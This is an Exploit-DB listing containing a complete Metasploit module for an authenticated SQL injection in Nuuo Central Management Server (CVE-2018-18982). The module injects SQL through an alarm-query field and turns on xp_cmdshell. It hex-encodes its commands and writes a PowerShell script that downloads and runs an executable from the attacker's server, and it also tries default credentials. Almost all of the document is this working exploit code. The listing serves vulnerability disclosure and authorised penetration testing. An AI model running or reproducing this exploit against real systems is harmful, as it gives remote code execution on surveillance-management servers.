Nuuo Central Management - (Authenticated) SQL Server SQL Injection (Metasploit)

EDB-ID:

46449




Platform:

Windows

Date:

2019-02-22


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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::Nuuo
  include Msf::Exploit::Remote::HttpServer

  def initialize(info={})
    super(update_info(info,
      'Name'            => 'Nuuo Central Management Authenticated SQL Server SQLi',
      'Description'     => %q{
      The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.
      This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is
      installed by default, xp_cmdshell can be enabled and abused to achieve code execution.
      This module will either use a provided session number (which can be guessed with an auxiliary
      module) or attempt to login using a provided username and password - it will also try the
      default credentials if nothing is provided.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'  # Vulnerability discovery and Metasploit module
        ],
      'References'      =>
        [
          [ 'CVE', '2018-18982' ],
          [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ]

        ],
      'Platform'        => 'win',
      'Arch'            => ARCH_X86,
      'Stance'          => Msf::Exploit::Stance::Aggressive,  # we need this to run in the foreground
      'Targets'         =>
        [
          [ 'Nuuo Central Management Server <= v2.10.0', {} ],
        ],
      'Notes'           =>
        {
          'SideEffects'   => [ ARTIFACTS_ON_DISK ]
        },
      'Privileged'      => false,  # we run as NETWORK_SERVICE
      'DisclosureDate'  => 'Oct 11 2018',
      'DefaultTarget'   => 0))
    register_options [
      Opt::RPORT(5180),
      OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]),
      OptString.new('URIPATH', [true,  'The URI to use for this exploit', "/#{rand_text_alpha(8..10)}"])
    ]
  end


  def inject_sql(sql, final = false)
    sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
    if final
      nucs_send_msg_async(sql)
    else
      nucs_send_msg(sql)
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    unless @pl
      print_error("A request came in, but the payload wasn't ready yet!")
      return
    end
    print_good('Sending the payload to CMS...')
    send_response(cli, @pl)

    Rex.sleep(3)

    print_status('Executing shell...')
    inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true)
    register_file_for_cleanup("c:/windows/temp/#{@filename}")
  end

  def create_hex_cmd(cmd)
    var = rand_text_alpha(2)
    hex_cmd = "declare @#{var} varchar(8000); select @#{var}=0x"
    cmd.each_byte { |b|
      hex_cmd << b.to_i.to_s(16)
    }
    hex_cmd << "; exec (@#{var})"
  end

  def primer
    # we need to roll our own here instead of using the MSSQL mixins
    # (tried that and it doesn't work)
    service_url = "http://#{srvhost_addr}:#{srvport}#{datastore['URIPATH']}"
    print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
    @filename = "#{rand_text_alpha_lower(8..10)}.exe"
    ps1 = "#{rand_text_alpha_lower(8..10)}.ps1"
    download_pl = %{xp_cmdshell }
    download_pl << %{'cd C:\\windows\\temp\\ && }
    download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ps1} && }
    download_pl << %{echo $url = "#{service_url}" >> #{ps1} && }
    download_pl << %{echo $file = "#{@filename}" >> #{ps1} && }
    download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ps1} && }
    download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ps1}'}

    print_status('Injecting PowerShell payload')
    inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))
    register_file_for_cleanup("c:/windows/temp/#{ps1}")
  end

  def exploit
    nucs_login

    unless @nucs_session
      fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS')
    end

    @pl = generate_payload_exe

    #do not use SSL
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    begin
      Timeout.timeout(datastore['HTTPDELAY']) {super}
    rescue Timeout::Error
      datastore['SSL'] = true if ssl_restore
    end
  end
end